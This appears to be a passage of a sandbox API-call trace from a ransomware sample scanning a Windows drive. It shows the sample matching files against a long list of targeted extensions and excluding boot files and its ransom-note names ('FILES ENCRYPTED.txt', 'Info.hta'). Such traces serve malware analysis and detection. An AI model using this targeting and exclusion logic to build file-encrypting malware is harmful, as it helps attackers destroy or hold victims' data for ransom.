[0039.900] lstrlenW (lpString=".asa") returned 4 [0039.900] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0039.900] lstrlenW (lpString=".asc") returned 4 [0039.900] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0039.900] lstrlenW (lpString=".ascx") returned 5 [0039.900] lstrcmpiW (lpString1=".ascx", lpString2="k.png") returned -1 [0039.900] lstrlenW (lpString=".asm") returned 4 [0039.900] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0039.900] lstrlenW (lpString=".asmx") returned 5 [0039.900] lstrcmpiW (lpString1=".asmx", lpString2="k.png") returned -1 [0039.900] lstrlenW (lpString=".asp") returned 4 [0039.900] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0039.900] lstrlenW (lpString=".aspx") returned 5 [0039.900] lstrcmpiW (lpString1=".aspx", lpString2="k.png") returned -1 [0039.900] lstrlenW (lpString=".asr") returned 4 [0039.900] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0039.900] lstrlenW (lpString=".asx") returned 4 [0039.900] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0039.900] lstrlenW (lpString=".avi") returned 4 [0039.900] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0039.900] lstrlenW (lpString=".avs") returned 4 [0039.900] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0039.900] lstrlenW (lpString=".backup") returned 7 [0039.900] lstrcmpiW (lpString1=".backup", lpString2="ack.png") returned -1 [0039.900] lstrlenW (lpString=".bak") returned 4 [0039.900] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0039.900] lstrlenW (lpString=".bay") returned 4 [0039.900] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0039.900] lstrlenW (lpString=".bd") returned 3 [0039.900] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0039.901] lstrlenW (lpString=".bin") returned 4 [0039.958] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0039.958] lstrlenW (lpString=".bmp") returned 4 [0039.958] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0039.958] lstrlenW (lpString=".bz2") returned 4 [0039.958] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0039.958] lstrlenW (lpString=".c") returned 2 [0039.958] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0039.958] lstrlenW (lpString=".cdr") returned 4 [0039.958] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0039.958] lstrlenW (lpString=".cer") returned 4 [0039.958] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0039.958] lstrlenW (lpString=".cf") returned 3 [0039.958] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0039.958] lstrlenW (lpString=".cfc") returned 4 [0039.958] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0039.958] lstrlenW (lpString=".cfm") returned 4 [0039.958] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0039.958] lstrlenW (lpString=".cfml") returned 5 [0039.958] lstrcmpiW (lpString1=".cfml", lpString2="k.png") returned -1 [0039.959] lstrlenW (lpString=".cfu") returned 4 [0039.959] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".chm") returned 4 [0039.959] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".cin") returned 4 [0039.959] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".class") returned 6 [0039.959] lstrcmpiW (lpString1=".class", lpString2="ck.png") returned -1 [0039.959] lstrlenW (lpString=".clx") returned 4 [0039.959] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".config") returned 7 [0039.959] lstrcmpiW (lpString1=".config", lpString2="ack.png") returned -1 [0039.959] lstrlenW (lpString=".cpp") returned 4 [0039.959] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".cr2") returned 4 [0039.959] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".crt") returned 4 [0039.959] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".crw") returned 4 [0039.959] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".cs") returned 3 [0039.959] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0039.959] lstrlenW (lpString=".css") returned 4 [0039.959] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".csv") returned 4 [0039.959] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".cub") returned 4 [0039.959] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".dae") returned 4 [0039.959] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".dat") returned 4 [0039.959] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".db") returned 3 [0039.959] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0039.959] lstrlenW (lpString=".dbf") returned 4 [0039.959] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".dbx") returned 4 [0039.959] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".dc3") returned 4 [0039.959] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".dcm") returned 4 [0039.959] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".dcr") returned 4 [0039.959] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".der") returned 4 [0039.959] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".dib") returned 4 [0039.959] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".dic") returned 4 [0039.959] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".dif") returned 4 [0039.959] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0039.959] lstrlenW (lpString=".divx") returned 5 [0039.959] lstrcmpiW (lpString1=".divx", lpString2="k.png") returned -1 [0039.959] lstrlenW (lpString=".djvu") returned 5 [0039.959] lstrcmpiW (lpString1=".djvu", lpString2="k.png") returned -1 [0039.960] lstrlenW (lpString=".dng") returned 4 [0039.960] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".doc") returned 4 [0039.960] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".docm") returned 5 [0039.960] lstrcmpiW (lpString1=".docm", lpString2="k.png") returned -1 [0039.960] lstrlenW (lpString=".docx") returned 5 [0039.960] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0039.960] lstrlenW (lpString=".dot") returned 4 [0039.960] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".dotm") returned 5 [0039.960] lstrcmpiW (lpString1=".dotm", lpString2="k.png") returned -1 [0039.960] lstrlenW (lpString=".dotx") returned 5 [0039.960] lstrcmpiW (lpString1=".dotx", lpString2="k.png") returned -1 [0039.960] lstrlenW (lpString=".dpx") returned 4 [0039.960] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".dqy") returned 4 [0039.960] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".dsn") returned 4 [0039.960] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".dt") returned 3 [0039.960] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0039.960] lstrlenW (lpString=".dtd") returned 4 [0039.960] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".dwg") returned 4 [0039.960] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".dwt") returned 4 [0039.960] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".dx") returned 3 [0039.960] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0039.960] lstrlenW (lpString=".dxf") returned 4 [0039.960] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".edml") returned 5 [0039.960] lstrcmpiW (lpString1=".edml", lpString2="k.png") returned -1 [0039.960] lstrlenW (lpString=".efd") returned 4 [0039.960] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".elf") returned 4 [0039.960] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".emf") returned 4 [0039.960] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".emz") returned 4 [0039.960] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".epf") returned 4 [0039.960] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".eps") returned 4 [0039.960] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".epsf") returned 5 [0039.960] lstrcmpiW (lpString1=".epsf", lpString2="k.png") returned -1 [0039.960] lstrlenW (lpString=".epsp") returned 5 [0039.960] lstrcmpiW (lpString1=".epsp", lpString2="k.png") returned -1 [0039.960] lstrlenW (lpString=".erf") returned 4 [0039.960] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".exr") returned 4 [0039.960] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0039.960] lstrlenW (lpString=".f4v") returned 4 [0039.960] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".fido") returned 5 [0039.961] lstrcmpiW (lpString1=".fido", lpString2="k.png") returned -1 [0039.961] lstrlenW (lpString=".flm") returned 4 [0039.961] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".flv") returned 4 [0039.961] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".frm") returned 4 [0039.961] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".fxg") returned 4 [0039.961] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".geo") returned 4 [0039.961] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".gif") returned 4 [0039.961] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".grs") returned 4 [0039.961] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".gz") returned 3 [0039.961] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0039.961] lstrlenW (lpString=".h") returned 2 [0039.961] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0039.961] lstrlenW (lpString=".hdr") returned 4 [0039.961] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".hpp") returned 4 [0039.961] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".hta") returned 4 [0039.961] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".htc") returned 4 [0039.961] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".htm") returned 4 [0039.961] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".html") returned 5 [0039.961] lstrcmpiW (lpString1=".html", lpString2="k.png") returned -1 [0039.961] lstrlenW (lpString=".icb") returned 4 [0039.961] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".ics") returned 4 [0039.961] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".iff") returned 4 [0039.961] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".inc") returned 4 [0039.961] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".indd") returned 5 [0039.961] lstrcmpiW (lpString1=".indd", lpString2="k.png") returned -1 [0039.961] lstrlenW (lpString=".ini") returned 4 [0039.961] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".iqy") returned 4 [0039.961] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".j2c") returned 4 [0039.961] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".j2k") returned 4 [0039.961] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0039.961] lstrlenW (lpString=".java") returned 5 [0039.961] lstrcmpiW (lpString1=".java", lpString2="k.png") returned -1 [0039.961] lstrlenW (lpString=".jp2") returned 4 [0039.961] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".jpc") returned 4 [0039.962] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".jpe") returned 4 [0039.962] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".jpeg") returned 5 [0039.962] lstrcmpiW (lpString1=".jpeg", lpString2="k.png") returned -1 [0039.962] lstrlenW (lpString=".jpf") returned 4 [0039.962] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".jpg") returned 4 [0039.962] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".jpx") returned 4 [0039.962] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".js") returned 3 [0039.962] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0039.962] lstrlenW (lpString=".jsf") returned 4 [0039.962] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".json") returned 5 [0039.962] lstrcmpiW (lpString1=".json", lpString2="k.png") returned -1 [0039.962] lstrlenW (lpString=".jsp") returned 4 [0039.962] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".kdc") returned 4 [0039.962] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".kmz") returned 4 [0039.962] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".kwm") returned 4 [0039.962] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".lasso") returned 6 [0039.962] lstrcmpiW (lpString1=".lasso", lpString2="ck.png") returned -1 [0039.962] lstrlenW (lpString=".lbi") returned 4 [0039.962] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".lgf") returned 4 [0039.962] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".lgp") returned 4 [0039.962] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".log") returned 4 [0039.962] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".m1v") returned 4 [0039.962] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".m4a") returned 4 [0039.962] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".m4v") returned 4 [0039.962] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".max") returned 4 [0039.962] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".md") returned 3 [0039.962] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0039.962] lstrlenW (lpString=".mda") returned 4 [0039.962] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".mdb") returned 4 [0039.962] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".mde") returned 4 [0039.962] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".mdf") returned 4 [0039.962] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0039.962] lstrlenW (lpString=".mdw") returned 4 [0039.962] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mef") returned 4 [0039.963] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mft") returned 4 [0039.963] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mfw") returned 4 [0039.963] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mht") returned 4 [0039.963] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mhtml") returned 6 [0039.963] lstrcmpiW (lpString1=".mhtml", lpString2="ck.png") returned -1 [0039.963] lstrlenW (lpString=".mka") returned 4 [0039.963] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mkidx") returned 6 [0039.963] lstrcmpiW (lpString1=".mkidx", lpString2="ck.png") returned -1 [0039.963] lstrlenW (lpString=".mkv") returned 4 [0039.963] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mos") returned 4 [0039.963] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mov") returned 4 [0039.963] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mp3") returned 4 [0039.963] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mp4") returned 4 [0039.963] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mpeg") returned 5 [0039.963] lstrcmpiW (lpString1=".mpeg", lpString2="k.png") returned -1 [0039.963] lstrlenW (lpString=".mpg") returned 4 [0039.963] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mpv") returned 4 [0039.963] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mrw") returned 4 [0039.963] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".msg") returned 4 [0039.963] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".mxl") returned 4 [0039.963] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".myd") returned 4 [0039.963] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".myi") returned 4 [0039.963] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".nef") returned 4 [0039.963] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".nrw") returned 4 [0039.963] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".obj") returned 4 [0039.963] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".odb") returned 4 [0039.963] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".odc") returned 4 [0039.963] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".odm") returned 4 [0039.963] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".odp") returned 4 [0039.963] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0039.963] lstrlenW (lpString=".ods") returned 4 [0039.963] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".oft") returned 4 [0039.964] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".one") returned 4 [0039.964] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".onepkg") returned 7 [0039.964] lstrcmpiW (lpString1=".onepkg", lpString2="ack.png") returned -1 [0039.964] lstrlenW (lpString=".onetoc2") returned 8 [0039.964] lstrcmpiW (lpString1=".onetoc2", lpString2="lack.png") returned -1 [0039.964] lstrlenW (lpString=".opt") returned 4 [0039.964] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".oqy") returned 4 [0039.964] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".orf") returned 4 [0039.964] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".p12") returned 4 [0039.964] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".p7b") returned 4 [0039.964] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".p7c") returned 4 [0039.964] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pam") returned 4 [0039.964] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pbm") returned 4 [0039.964] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pct") returned 4 [0039.964] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pcx") returned 4 [0039.964] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pdd") returned 4 [0039.964] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pdf") returned 4 [0039.964] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pdp") returned 4 [0039.964] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pef") returned 4 [0039.964] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pem") returned 4 [0039.964] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pff") returned 4 [0039.964] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pfm") returned 4 [0039.964] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pfx") returned 4 [0039.964] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".pgm") returned 4 [0039.964] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".php") returned 4 [0039.964] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0039.964] lstrlenW (lpString=".php3") returned 5 [0039.964] lstrcmpiW (lpString1=".php3", lpString2="k.png") returned -1 [0039.964] lstrlenW (lpString=".php4") returned 5 [0039.964] lstrcmpiW (lpString1=".php4", lpString2="k.png") returned -1 [0039.964] lstrlenW (lpString=".php5") returned 5 [0039.964] lstrcmpiW (lpString1=".php5", lpString2="k.png") returned -1 [0039.964] lstrlenW (lpString=".phtml") returned 6 [0039.965] lstrcmpiW (lpString1=".phtml", lpString2="ck.png") returned -1 [0039.965] lstrlenW (lpString=".pict") returned 5 [0039.965] lstrcmpiW (lpString1=".pict", lpString2="k.png") returned -1 [0039.965] lstrlenW (lpString=".pl") returned 3 [0039.965] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0039.965] lstrlenW (lpString=".pls") returned 4 [0039.965] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0039.965] lstrlenW (lpString=".pm") returned 3 [0039.965] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0039.965] lstrlenW (lpString=".png") returned 4 [0039.965] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0039.965] lstrlenW (lpString="1047x576black.png") returned 17 [0039.965] lstrlenW (lpString=".gold") returned 5 [0039.965] lstrcmpiW (lpString1=".gold", lpString2="k.png") returned -1 [0039.965] lstrlenW (lpString="1047x576black.png") returned 17 [0039.965] lstrcmpiW (lpString1="boot.ini", lpString2="1047x576black.png") returned 1 [0039.965] lstrcmpiW (lpString1="bootfont.bin", lpString2="1047x576black.png") returned 1 [0039.965] lstrcmpiW (lpString1="ntldr", lpString2="1047x576black.png") returned 1 [0039.965] lstrcmpiW (lpString1="ntdetect.com", lpString2="1047x576black.png") returned 1 [0039.965] lstrcmpiW (lpString1="io.sys", lpString2="1047x576black.png") returned 1 [0039.965] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="1047x576black.png") returned 1 [0039.965] lstrcmpiW (lpString1="Info.hta", lpString2="1047x576black.png") returned 1 [0039.965] lstrcmpiW (lpString1="payload.exe", lpString2="1047x576black.png") returned 1 [0039.965] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png") returned 70 [0039.965] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0039.965] lstrlenW (lpString="203x8subpicture.png") returned 19 [0039.965] lstrlenW (lpString=".1cd") returned 4 [0039.965] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0039.965] lstrlenW (lpString=".3ds") returned 4 [0039.965] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0039.965] lstrlenW (lpString=".3fr") returned 4 [0039.965] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0039.965] lstrlenW (lpString=".3g2") returned 4 [0039.965] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0039.965] lstrlenW (lpString=".3gp") returned 4 [0039.965] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0039.965] lstrlenW (lpString=".7z") returned 3 [0039.965] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0039.965] lstrlenW (lpString=".accda") returned 6 [0039.965] lstrcmpiW (lpString1=".accda", lpString2="re.png") returned -1 [0039.965] lstrlenW (lpString=".accdb") returned 6 [0039.965] lstrcmpiW (lpString1=".accdb", lpString2="re.png") returned -1 [0039.965] lstrlenW (lpString=".accdc") returned 6 [0039.965] lstrcmpiW (lpString1=".accdc", lpString2="re.png") returned -1 [0039.965] lstrlenW (lpString=".accde") returned 6 [0039.965] lstrcmpiW (lpString1=".accde", lpString2="re.png") returned -1 [0039.965] lstrlenW (lpString=".accdt") returned 6 [0039.965] lstrcmpiW (lpString1=".accdt", lpString2="re.png") returned -1 [0039.965] lstrlenW (lpString=".accdw") returned 6 [0039.965] lstrcmpiW (lpString1=".accdw", lpString2="re.png") returned -1 [0039.965] lstrlenW (lpString=".adb") returned 4 [0039.966] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0039.966] lstrlenW (lpString=".adp") returned 4 [0039.966] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0039.966] lstrlenW (lpString=".ai") returned 3 [0039.966] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0039.966] lstrlenW (lpString=".ai3") returned 4 [0039.966] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0039.966] lstrlenW (lpString=".ai4") returned 4 [0039.966] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0039.966] lstrlenW (lpString=".ai5") returned 4 [0039.966] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0039.966] lstrlenW (lpString=".ai6") returned 4 [0039.966] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0039.966] lstrlenW (lpString=".ai7") returned 4 Thread: id = 19 os_tid = 0x248 [0033.914] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39206d8 [0033.915] lstrlenW (lpString="C:") returned 2 [0033.915] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x352fd00 | out: lpFindFileData=0x352fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, 